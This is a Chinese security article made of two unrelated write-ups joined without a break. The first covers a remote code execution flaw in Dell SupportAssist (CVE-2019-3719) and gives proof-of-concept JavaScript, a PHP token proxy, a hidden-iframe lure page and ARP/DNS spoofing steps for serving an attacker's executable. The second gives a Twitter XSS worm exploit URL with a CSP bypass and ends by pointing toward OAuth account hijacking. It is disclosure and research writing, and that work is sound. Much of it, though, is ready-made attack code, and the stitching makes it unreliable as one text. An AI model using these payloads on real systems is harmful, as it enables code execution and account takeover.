s0o391556844664.png你用的电脑是什么品牌的?你有没有对你电脑系统中预装或自带软件的安全性产生过怀疑?当我们谈论远程代码执行漏洞(RCE)时,可能大多数人会认为它和操作系统漏洞相关,但是有没有人考虑到预装到电脑系统中的第三方软件这一攻击可能呢?本文讲述的就是纽约17岁安全研究者最近发现的,戴尔预装在其电脑上的软件工具Dell SupportAssist 的一个远程代码执行漏洞(RCE),利用该漏洞,可对同一网络环境中安装有Dell SupportAssist 的目标系统实施RCE攻击。Dell SupportAssist 用于“主动检查系统硬件和软件运行状况”,并且“预装自带在大多数全新的戴尔电脑系统中”。

以下为作者的详细分析,比较繁琐,涉及请求分析、完整性检查分析、漏洞利用思路构造、ARP和DNS欺骗。具体利用请参考文末最后的漏洞利用及PoC部份。

漏洞发现

去年9月,因为我用了将近7年的Macbook Pro已经快要罢工了,所以,我打算重新购买一台性价比高的笔记本电脑,最终我选择了戴尔的G3 15。笔记本电脑入手之后,我把其中的1TB普通硬盘换成了固态硬盘,在安装完Windows系统后,我想从戴尔官网上更新驱动,这时我发现了一件有意思的事,当我访问戴尔的技术支持网站时,会跳出一个如下图的选项:

01.png

其中有两种提示,一是告诉用户需要输入戴尔电脑设备的服务标签、产品序列号和型号等等信息,另外一种是直接选择“Detect PC”(探测电脑)自动识别。

Detect PC?自动识别?哦,这有点意思,它如何来识别我的电脑?出于好奇,我就点击了“Detect PC”按钮,看看会发生什么。

02.png点击之后,跳出来了一个SupportAssist程序的安装选项。尽管这是一个便利工具,但我还是有点点不放心,由于我当前系统是新装系统,代理商系统已经被我革除。但为了进一步对该应用进行分析,我还是决定装装试试。该程序声称安装完成之后,可以完全更新我的驱动并使电脑系统保持更新。

SupportAssist程序安装很简单,勾选上述选框,点击下载安装就行。安装完成之后,SupportAssist会在后台创建并启动名为SupportAssistAgent和Dell Hardware Support的服务项。初略看来,这两个服务进程看似为.NET程序,很容易被逆向分析。安装完后,我就重新访问戴尔技术支持网站,看看它能探测到什么东东?果然,这次出现的是以下驱动探测选项( “Detect Drivers”) :

03.png为了更好的分析,我开启了Chrome浏览器的网络分析工具Web Inspector,打开了其中的Network按钮进行监视,接着,我就点击了上述选项页面中的 “Detect Drivers” 按钮,看看会有什么情况:

04.png经分析发现,戴尔技术支持网站此时会向我本机请求一个由SupportAssistAgent服务开启的8884端口,另外,我本机经由一个REST API和向戴尔技术支持网站发起各种通信请求,而且,在戴尔网站的响应中也设置了只有https://www.dell.com网站标记的Access-Control-Allow-Origin访问控制策略。

在我的浏览器端,SupportAssist客户端程序通过请求https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken,生成一个签名对各种命令进行验证。驱动探测完成后,点击网页中的驱动下载按钮,其请求消息有点奇怪。其请求消息头如下:

POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signature

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/json

Origin: https://www.dell.com

Referer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

请求消息内容如下:

{

    {

    "title":"Dell G3 3579 and 3779 System BIOS",

    "category":"BIOS",

    "name":"G3_3579_1.9.0.exe",

    "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",

    "isSecure":false,

    "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",

    "run":false,

    "restricted":false,

    "fileId":"198393521",

    "fileSize":"13 MB",

    "checkedStatus":false,

    "fileStatus":-99,

    "driverId":"4WW45",

    "path":"",

    "dupInstallReturnCode":"",

    "cssClass":"inactive-step",

    "isReboot":true,

    "DiableInstallNow":true,

    "$$hashKey":"object:175"

    }

}

通过请求来看,戴尔Web客户端貌似可以直接请求我本机系统中的SupportAssistAgent服务,显示驱动程序的下载和手动安装选项(“download and manually install”),由于,我打算从SupportAssistAgent服务中入手进行分析,看看戴尔技术支持网站发出的一些具体命令。

刚开始,Dell SupportAssist程序会通过8884、8883、8885或8886端口生成一个web服务进程(System.Net.HttpListener),其中的端口选择视开放而定,一般为8884端口。在某个请求中,位于HttpListenerServiceFacade线程中的ListenerCallback会调用方法ClientServiceHandler.ProcessRequest。

ClientServiceHandler.ProcessRequest是web服务进程中的主要方法函数,主要用于执行一些完整性检查,如确保其接收到的请求来自我的电脑本机,诸如此类等等。在本文后续我们会继续讨论完整性检查的相关问题,但是,这里我们还是把重点放到寻找RCE漏洞之上。

ClientServiceHandler.ProcessRequest其中的一个完整性检查就是,戴尔技术支持网站会查看由我电脑系统中Dell SupportAssist与其Web客户端的请求中,涉及的Referer标签是否为Dell官方所属网站,以此来确定该请求是由其Web客户端发起的,如下:

// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0

public static bool ValidateDomain(Uri request, Uri urlReferrer)

{

 return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");

}

// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124

public static bool ValidateDomain(string domain)

{

 return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");

}

从以上请求调用来看,其安全检查并不完善,能让攻击者找到很多攻击面,就拿绕过Referer/Origin来说,我们有以下几种可选方法:

1.从任何戴尔所属网站中找到XSS漏洞(当然,我需在支持SupportAssist的网站中来发现这种XSS漏洞);

2.发现子域名劫持漏洞;

3.从本机程序中构造恶意请求;

4.生成一个随机子域名[random].dell.com,并利用DNS劫持受害者请求,以此用我们控制的服务器来对对其进行响应。

最终,我选择了第4种方法(稍后我会做出解释)。经验证请求的Referer/Origin信息之后,我发现ClientServiceHandler.ProcessRequest会对相应的GET、POST和OPTIONS功能做出响应。

为了对Dell SupportAssist进行了深入研究,我决定通过它与戴尔技术支持网站之间的不同类型请求进行了抓包分析,刚好我的电脑系统还存在一些待定更新,所以我就选择了浏览器工具对请求进行拦截。

首先,戴尔技术支持网站会循环遍历上述提到的四个端口来探测本机系统中安装的SupportAssist,之后如果端口开放,则会连接“isalive”服务方法,比较有意思的是,其中的签名“Signature”和“Expires” 参数传递过程有点意思,为此,我逆向了浏览器端涉及的JS脚本,发现了以下问题:

1.首先,浏览器会向网站https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken发起请求,以获取一个token,也就是签名Signature。当然,戴尔还会分配一个“Expires token”,以限制签名的过期时间;

2.接着,浏览器会向每一个服务端口发出类似以下的请求:

http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]

之后,当相应端口开放并接收到请求后,本机的Dell SupportAssist客户端会做出以下响应:

{

 "isAlive": true,

 "clientVersion": "[CLIENT VERSION]",

 "requiredVersion": null,

 "success": true,

 "data": null,

 "localTime": [EPOCH TIME],

 "Exception": {

     "Code": null,

     "Message": null,

     "Type": null

 }

}

4.当浏览器接收到上述响应消息之后,它就与给定的开放端口建立联系,进行后续的连接通信。

通过对不同类型的请求进行测试后,我发现值得注意的因素是可以通过“getsysteminfo”方法来获取到电脑本机中的各项硬件信息,甚至也可以通过XSS漏洞方式来读取这些信息。这算是一个安全问题,因为这样我可以对电脑系统做出全方位的画像和敏感信息收集。

另外,我还通过JS脚本逆向分析发现了以下一些特别的方法请求:

clientservice_getdevicedrivers - Grabs available updates.

diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).

downloadservice_downloadfiles - Downloads a JSON array of files.

clientservice_isalive - Used as a heartbeat and returns basic information about the agent.

clientservice_getservicetag - Grabs the service tag.

localclient_img - Connects to SignalR (Dell Hardware Support).

diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.

clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.

diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.

downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.

diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.

diagnosticsservice_launchtool - Launches a diagnostic tool.

diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.

downloadservice_createiso - Download an ISO.

clientservice_checkadminrights - Check if the Agent privileged.

diagnosticsservice_performinstallation - Update SupportAssist.

diagnosticsservice_rebootsystem - Reboot system.

clientservice_getdevices - Grab system devices.

downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.

diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).

downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.

downloadservice_createbootableiso - Download bootable iso.

diagnosticsservice_isalive - Heartbeat check.

downloadservice_downloadandautoinstall - Downloads a list of files and executes them.

clientservice_getscanresults - Gets driver scan results.

downloadservice_restartsystem - Restarts the system.

引起我注意的是downloadservice_downloadandautoinstall方法,它会从特定URL下载文件并执行,当用户需要安装某个驱动程序时,它就能派上用场,进行自动的下载和安装。

1.在确定某些驱动程序需要更新后,戴尔技术支持网站的浏览器端会发起一个以下的POST请求:

http://127.0.0.1:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]

2.其请求消息体为以下的JSON格式:

{

 {

 "title":"DOWNLOAD TITLE",

 "category":"CATEGORY",

 "name":"FILENAME",

 "location":"FILE URL",

 "isSecure":false,

 "fileUniqueId":"RANDOMUUID",

 "run":true,

 "installOrder":2,

 "restricted":false,

 "fileStatus":-99,

 "driverId":"DRIVER ID",

 "dupInstallReturnCode":0,

 "cssClass":"inactive-step",

 "isReboot":false,

 "scanPNPId":"PNP ID",

 "$$hashKey":"object:210"

 }

}

3.在执行完前述的完整性校验之后,ClientServiceHandler.ProcessRequest方法会发送相关的参数和ServiceMethod,这些参数和方法是我们传递给ClientServiceHandler.HandlePost中的;

4.在ClientServiceHandler.HandlePost中,它会把所有参数排列成一个数组,然后调用ServiceMethodHelper.CallServiceMethod;

5.之后,ServiceMethodHelper.CallServiceMethod会实现一个调度功能,去调用ServiceMethod中给定的方法函数。在这里的驱动下载中,它是 “downloadandautoinstall” 方法:

if (service_Method == "downloadservice_downloadandautoinstall")

{

 string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty;

 result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);

以上方法会调用 DownloadServiceLogic.DownloadAutoInstall,并提供请求体中JSON Payload的相应文件下载;

6.接着,DownloadServiceLogic.DownloadAutoInstall会作为DownloadServiceLogic._HandleJson方法的一个封装函数,执行异常处理等功能;

7.DownloadServiceLogic._HandleJson会对包含文件下载的请求体JSON Payload进行反序列化,然后执行以下完整性校验检查:

foreach (File file in list)

{

 bool flag2 = file.Location.ToLower().StartsWith("http://");

 if (flag2)

 {

     file.Location = file.Location.Replace("http://", "https://");

 }

 bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location);

 if (flag3)

 {

     DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");

     throw new InvalidFileException();

 }

}

DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);

以上完整性校验检查会对其中涉及的每个文件进行循环检查,例如会检查下载文件的URL,如果是http://就会用https://代替,也会检查其中的URL是否与戴尔下载列表匹配。如下:

public static bool CheckDomain(string fileLocation)

{

 List<string> list = new List<string>

 {

  "ftp.dell.com",

  "downloads.dell.com",

  "ausgesd4f1.aus.amer.dell.com"

 };

 return list.Contains(new Uri(fileLocation.ToLower()).Host);

最终,如果以上类似完整性检查都能通过,就会通过DownloadHandler.RegisterDownloadRequest和Dell SupportAssist建立下载关系,以本机管理员身份下载并执行相应驱动文件。基于以上信息,我们可以来尝试编写一个漏洞利用代码。

漏洞利用及PoC

首先我们需要构造的是执行对SupportAssist客户端的请求,假设我们在一个戴尔的子域名网站环境中,在本节中我们将来讨论如何做到这一点。在此我决定模仿浏览器并用javascript发起请求。

一开始,需要找到服务端口,这里可以轮询上述的四个预定义端口,并向“/clientservice/isalive”执行请求。另外还需要提供一个签名,为此,可以执行一个针对“https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken”的请求。

这样看起来可能还是不行,因为签名响应中涉及的访问控制策略“Access-Control-Allow-Origin” 里明确提到要是“https://www.dell.com”相关网站,但是我们身处的子域名环境可能并不是https方式的,那怎么办呢?我们可以从我们自己控制的服务端中来执行请求!

从 “getdsdtoken” URL中返回的签名适配所有设备系统,它是通用签名,为此我写了一段PHP脚本来抓取它:

<?php

header('Access-Control-Allow-Origin: *');

echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');

?> 

上述脚本的访问控制策略中允许任意域来对它执行请求,之后,它返回了原始的请求戴尔网站的签名,相当于一个获取签名的代理,随后 “getdsdtoken”URL会返回附带签名和过期时间的JSON信息,接着,我们可以使用JSON.parse针对抓取信息进行解析,把其中的签名放置到一个javascript对象中。

现在,我们有了签名和其过期时间,就可以执行请求构造了,以下就是执行端口轮询的脚本,如果相应的端口处于开放状态,就把它填入server_port变量中去。如下:

function FindServer() {

 ports.forEach(function(port) {

  var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;

  var response = SendAsyncRequest(is_alive_url, function(){server_port = port;});

 });

在发现服务端之后,我们可以发送我们的Payload,但这是最难的部份,在“downloadandautoinstall” 执行我们的Payload之前,还有多个需要解决的问题。

从最难的问题说起,Dell SupportAssist客户端中有一个内置的白名单,具体而言,其必须是“ftp.dell.com”、“downloads.dell.com”或 “ausgesd4f1.aus.amer.dell.com”这种类型的,从这个点来说几乎无计可施,而且在dell相关网站也发现不了任何开放重定向漏洞。但是,我突然想到,可以用中间人攻击(MITM)来看看。

如果我们可以向Dell SupportAssist客户端提供一个类似http://的URL,那我们就能非常容易地拦截并修改其中的响应消息了!在某种程度上就能解决这个最难的问题了。

另外一个问题看似是为了应对绕过第一个问题而设置的,结合前述分析,当文件下载URL是http://,则它会被https://代替,这是完整性检查中的相关方法定义:

file.Location = file.Location.Replace("http://", "https://");

重点来了,按照上面的定义,也就是说,如果文件下载URL是”http://”样式的,那么就会被替换为”https://”,那要是文件下载URL是其它样式的,那意思是就不会被替换为”https://”了?为此,我们来试试,在”http://”中的左括号后加上一个空格,即:“http://downloads.dell.com/abcdefg”,这样一来,当执行完整性检查的时候,由于该文件下载URL是以“ ”空格开始的,所以,它的检查结果状态会返回false,但这也不影响后面部份的 http://downloads.dell.com/abcdefg执行。为此,我编写了如下的JS自动请求发送脚本来实现这种URL绕过:

function SendRCEPayload() {

 var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;

 var xmlhttp = new XMLHttpRequest();

 xmlhttp.open("POST", auto_install_url, true);

 var files = [];

 files.push({

 "title": "SupportAssist RCE",

 "category": "Serial ATA",

 "name": "calc.EXE",

 "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY

 "isSecure": false,

 "fileUniqueId": guid(),

 "run": true,

 "installOrder": 2,

 "restricted": false,

 "fileStatus": -99,

 "driverId": "FXGNY",

 "dupInstallReturnCode": 0,

 "cssClass": "inactive-step",

 "isReboot": false,

 "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",

 "$$hashKey": "object:210"});

  xmlhttp.send(JSON.stringify(files)); 

}

有了这个Payload,现在就要想办法在同一网络中构造攻击端了,以下是我在PoC阶段有效的攻击端搭建步骤:

1.在同一网络中获得特定网络接口下的某些IP地址;

2.模拟戴尔Web服务端并提供一个包含路径的任意可执行程序,该程序文件对应于戴尔网站提供的驱动程序。模拟的Web服务端会检查请求主机头是否为downloads.dell.com,如果是则会发送可执行程序;如果请求中有dell.com域名,但是不是downloads下载域名,则它会发送上述的JS自动请求脚本。

3.接下来,要对目标系统执行ARP欺骗,这里要开启IP转发才能把ARP包发送到目标系统,这样在路由和目标系统之间才能形成共识。我们会每隔几秒就重复发送这些ARP包,退出后,会把原始的MAC地址发送给目标系统和路由。

4.最后,我们要使用iptables将DNS数据包重定向到网络过滤器队列来进行DNS欺骗,通过监听这个网络过滤器队列,并检查目标系统请求的域名是否是我们的目标网址(戴尔技术支持网站)。如果是,我们会发送一个假的域名系统数据包,表明我们是该网址的真正IP地址。

5.当目标系统受害者访问我们的子域(直接通过网址或通过iframe间接访问)时,我们会向它发送恶意的JS脚本,由它来发现Dell SupportAssist客户端的服务端口,然后从我们之前创建的php文件中获取签名,最后发送RCE Payload。当Dell SupportAssist客户端处理RCE Payload时,它会向downloads.dell.com发出请求,这时我们结合以下的ARP和DNS欺骗效果,将会向目标系统返回一个任意的可执行程序。

PoC漏洞利用视频如下

视频中的恶意dellrce.html源码为:

<h1>CVE-2019-3719</h1>

<h1>Nothing suspicious here... move along...</h1>

<iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>

具体的漏洞利用工具参见Github:https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC

漏洞上报进程

2018.10.26   向Dell进行漏洞初报

2018.10.29   Dell给出回应,验证漏洞

2018.11.22    Dell验证漏洞

2018.11.29    Dell计划在2019年初给出暂时性修复补丁

2019.1.28     Dell告知漏洞公布延迟至3月

2019.3.13     Dell修复计划滞后,漏洞公布延期至4月

2019.4.18     Dell发出漏洞公告CVE-2019-3718

2019.4.30     我公开漏洞

*参考来源:d4stiny,clouds编译,转载请注明来自FreeBuf.COM

2018年年中,当时我发现了一个Twitter的存储型XSS漏洞,该漏洞位于Twitter的犄角旮旯之处,一般人很难发现。重点在于,后来我又发现,这个存储型XSS漏洞可以被进一步构造形成一个稳定的XSS worm!

XSS Worm介绍

XSS Worm(XSS蠕虫)是XSS漏洞利用的终极武器,也就是把XSS漏洞打造成蠕虫来进行广泛传播感染,安全威胁轻则为“恶作剧”,重则为窃取用户数据或瘫痪网络应用。早有2005年的Myspace蠕虫,19岁少年制作的XSS worm在短短几小时之内就通过Myspace空间感染了100万用户;还有2007年的百度空间蠕虫,至百度进行屏蔽防护时,这个XSS worm已经感染了8700多个博客空间。XSS worm对社交网站和大型社区论坛危害性极大。更多信息请参考wikipedia

开门见山上XSS Worm Payload

XSS Worm Payload

开门见山,一来就上该Twitter XSS worm的漏洞利用URL链接(exploit)吧,稍后我们再详解其中的特别之处。在该XSS漏洞修复之前,通过Twitter发布以下URL链接就会创建出一个XSS worm来,它可以在推特圈内从一个账户中传播到另一个账户。该漏洞利用URL(exploit)如下:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

经urldecode转换之后的URL链接如下:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=<<x>/script><<x>iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640><<x>/iframe><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12><<x>/script><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>

在Twitter中打开效果如下:

可能你会好奇,“怎么可能?,它就是一个简单的URL链接啊!?”,但是,请相信它并不是一个普通的URL链接。它是一个Welcome Message(欢迎消息)的deeplink,且通过Twitter Card进行加载呈现(在Twitter中点击链接加载),如下:

01.jpg相关知识点

Welcome Message(欢迎消息):自动弹出的消息,类似于关注别人微信微博后,别人私信窗口自动弹出的欢迎消息。https://developer.twitter.com/en/docs/direct-messages/welcome-messages/overview

Deeplink:多用于移动智能终端,字面意思“深度链接”,但实际并非如此,实际意图是,可以通过一个简单的URL链接,打开APP并直接进入该APP中的内文页,前提是该APP在该手机上已安装,且该APP需要编程支持该deeplink相关的语法定义。比如可复制一些淘宝商品及淘宝店铺页的deeplink链接,发送给其他人,他点击链接后,可以通过手机中安装的淘宝APP直接进入具体的商品页及店铺页。

Twitter Card:就是在你的推文上加上一段代码链接,通过这种方式展示出更多信息,类似于Pinterest中的rich pin。目前Twitter Card支持Summary Card,Summary Card with Large Image,photo card,Gallery Card,APP Card,Player Card,Play Card: approve guide,Product Card 8种方式的展示链接。

好了,那么我是如何发现这个XSS Worm的呢?我们从一开始发现的XSS漏洞说来。

发现初步的XSS漏洞

上述的Twittce Card其实是一个iframe元素,它的展示指向链接为 https://twitter.com/i/cards/tfw/v1/1114991578353930240 。该iframe很明显是基于同源策略(same-origin)而不是沙盒,这意味着我们可以基于DOM同源策略访问同源网站下的父级页面。

在我们一开始构造的漏洞利用URL链接中,把Payload作为参数”text”的值,如下:

text=<<x>/script><<x>iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640><<x>/iframe><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12><<x>/script><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>

在加载呈现漏洞利用URL的Twittce Card中,通过查看其中的展示指向链接网页源码可知,这个”text”参数反映在了一个内联JSON对象中,并赋值给了”default_composer_text“键值。如下:

<script type="text/twitter-cards-serialization">

  {

    "strings": { },

    "card": {

  "viewer_id" : "988260476659404801",

  "is_caps_enabled" : true,

  "forward" : "false",

  "is_logged_in" : true,

  "is_author" : true,

  "language" : "en",

  "card_name" : "2586390716:message_me",

  "welcome_message_id" : "988274596427304964",

  "token" : "[redacted]",

  "is_emojify_enabled" : true,

  "scribe_context" : "%7B%7D",

  "is_static_view" : false,

  "default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\\u00A0",

  "recipient_id" : "988260476659404801",

  "card_uri" : "https://t.co/1vVzoyquhh",

  "render_card" : true,

  "tweet_id" : "1114991578353930240",

  "card_url" : "https://t.co/1vVzoyquhh"

},

    "twitter_cldr": false,

    "scribeData": {

      "card_name": "2586390716:message_me",

      "card_url": "https://t.co/1vVzoyquhh"

    }

  }

</script>

请注意,HTML解析机制发现在起始的<script>后任何地方存在</script>闭合标签,无论是在字符串或评论或正则表达式中,那么,这种script脚本范围都会到此终止。

在此之前,基于Twitter的安全防护环境、WAF部署和Web应用过滤规则,我们可能会遇到以下限制或障碍因素:

1、目标系统把单引号和双引号分别转义为 `​\’` 和 `\”`;

2、HTML的某些敏感标签被直接过滤掉,如 `a</script>b` 直接被过滤为了`ab`;

3、或者是Payload长度被限制在300个字符内;

4、存在内容安全策略CSP,通过白名单方式来限制某些内联脚本(Inline Scripts)。

起初来看,这些防护策略看似合理,但当我检查HTML标签的剥离动作时,我隐约觉得有些问题。由于这种剥离(去除)字符串中HTML标签的操作不像转义单独的字符,它需要用到HTML解析,HTML解析又经常会出错(象正则表达式之类的),所以在此,这种HTML标签剥离操作可以深入研究分析一下。

于是,我立马动手构造了一个非常基本的Payload:`</script><svg onload=alert()>`,之后又构造了这个Payload:`<</<x>/script/test000><</<x>svg onload=alert()></><script>1<\x>2`,这个Payload经Twitter的HTML标签剥离操作后,变成了 `</script/test000><svg onload=alert()>`,啊哦,到了这一步,这个也算是个XSS漏洞了,在未继续深挖找到CSP绕过方法前,心急的我就向Twitter安全团队上报了。

Twitter的CSP策略绕过

上报了这个XSS漏洞之后,我又继续研究Twitter的内容安全策略(CSP),这种网站的CSP可以通过抓包和工具检测出来。有意思的是,Twitter并没有在所有应用服务中部署全局CSP策略,也就是说,一些应用服务有着不一样的CSP策略。Twitter站点(https://twitter.com/)的完整CSP策略如下:

csp.png而Twitter Cards的CSP又是和以上完整的CSP不一样,我们在此只挑出Twitter Cards CSP中的script-src部分来看,如下:

script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' https://twitter.com https://*.twimg.com https://ton.twitter.com 'self'; frame-ancestors https://ms2.twitter.com https://twitter.com http://localhost:8889 https://momentmaker-local.twitter.com https://localhost.twitter.com https://tdapi-staging.smf1.twitter.com https://ms5.twitter.com https://momentmaker.twitter.com https://tweetdeck.localhost.twitter.com https://ms3.twitter.com https://tweetdeck.twitter.com https://wfa.twitter.com https://mobile.twitter.com https://ms1.twitter.com 'self' https://ms4.twitter.com; font-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com 'self'; media-src https://twitter.com https://*.twimg.com https://ton.twitter.com blob: 'self'; connect-src https://caps.twitter.com https://cards.twitter.com https://cards-staging.twitter.com https://upload.twitter.com blob: 'self'; style-src https://twitter.com https://*.twimg.com https://ton.twitter.com 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src https://twitter.com https://*.twimg.com https://* https://ton.twitter.com 'self'; img-src https://twitter.com https://*.twimg.com data: https://ton.twitter.com blob: 'self'; report-uri https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;

以上策略对于老手来说,https://*.twimg.com这种通配符限制相对宽松,可能存在被攻击的风险点。所以,针对CSP策略绕过,结合上述Twitter Cards的JSON对象,我们现在需要找到一个位于twimg.com子域名下的JSON路径端点。其实也不难发现,这就是一个:https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12

这里现在的难点是,需要绕过回调验证(callback validation),不能任意指定其它回调,它只能以`__twttr`前缀开始,否则就会被Twitter阻拦。当然,这也就是说,你不能用如 ‘alert’ 这样的内置方法,可以用`__twttralert`,但可能会被解析认为`undefined`。针对这个方法,之后我就对Twitter的过滤策略做了一些测试,看看它会过滤和放行哪些字符。一测我便发现,正斜杠 ‘/’竟然在“callback” 参数中是可行的,也就是说类似 “?callback=__twttr/alert” 这样是可以的,而且这种构造下的请求会收到以下形式的响应:

/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

所以现在我们只需找到一种方法,那就是在’window’对象(浏览器打开窗口)上定义`__twttr`引用,这里有两种方法来实现:

1、找到一种符合白名单且定义了 `__twttr` 变量的脚本,把它包装到我们的Payload中;

2、将HTML元素的ID属性设置为`__twttr`,这样一来,它就能为’window’对象中的元素创建一个全局引用。

在此,我选择第2种方法。如果做够这些,目前来看,应该没什么大问题。虽然我们不能在回调参数中注入任意字符,也就是说,会在JavaScript语法上受到的限制较多。但请注意,“?callback=__twttr/alert;user_id=12”中的分号并不是回调参数中的一部分,它只是查询分隔符,类似于&。但这并不是问题,我们仍然可以构造来调用一些我们想要的函数,就比如Same Origin Method Execution攻击

总结来看,我们构造的完整Payload作用如下:

1、创建一个有具备ID属性为__twttr的iframe元素, 这个元素通过Twitter Web Intents链接方式指向一条特定推文,这里我们用 https://twitter.com/intent/retweet?tweet_id=1114986988128624640

2、绕过CSP策略调用一个同步方法函数,如`alert`,去推迟下一个脚本块的执行,直到上面的iframe元素完全加载执行。当然了,由于语法限制,这个`alert`同步方法函数不会具体地显示出来,另外,我们也不能简单地使用`setTimeout(func)`;

3、再次利用CSP策略绕过,通过提交iframe元素中的表单(form),去触发对某条特定推文的转推操作。

构造XSS worm

作为一个 XSS worm 来说,能进行自我转发是比较理想的。而且如果没有语法限制,构造XSS worm传播就相对简单。但现在我们只能依靠Twitter Web Intents方式来进行转推,这种方式下,需要在转推操作之前就要明确tweet ID,比较难的就是, tweet IDs并不是连续的,难以预测。所以,这里就卡住了。

但是,我分析了一个,还有另外两种相对容易的方法来创建XSS Worm的传播态势:

1、“武器化”构造一系列推文链,每条推文中都包含对前一条推文的转发Payload,这样,只要你点击或转发到其中的一条推文,都将造成对整个推文链的不断转发操作,导致攻击链中活跃的Twitter账户都会执行这种操作,形成传播感染;

2、在转发推文中加入一些XSS Payload,也会造成更大范围的影响。

当然了,可以把以上两种方法进行综合利用来进行传播感染,影响就能无限大了。好在这里,作为测试分析,我们最终构造的exploit中,当“https://twitter.com/intent/retweet?tweet_id=1114986988128624640”页面被受害者转发后,’frames[0].retweet_btn_form.submit‘ 方法对应的随后操作不是继续转发。

这里,第一次转发这条exploit推文后,它会立马把它的内容展现在你的Twitter主页中,之后,再次查看这条推文后,它会让你去关注攻击者的Twitter账户。

深入构造利用 -  利用XSS Worm劫持Twitter用户

XSS Worm除了传播感染,恶作剧之外,还有瘫痪网络应用或窃取用户信息的可能。所以,在此,我们基于这个XSS Worm,可以在其中加入一些恶意功能,比如可以通过强制Twitter用户对某些第三方恶意应用进行授权,以此隐蔽窃取受害者身份令牌,且能在Twitter的验证机制“oauth/authorize” 中获得完整账户权限,实现Twitter账户劫持。

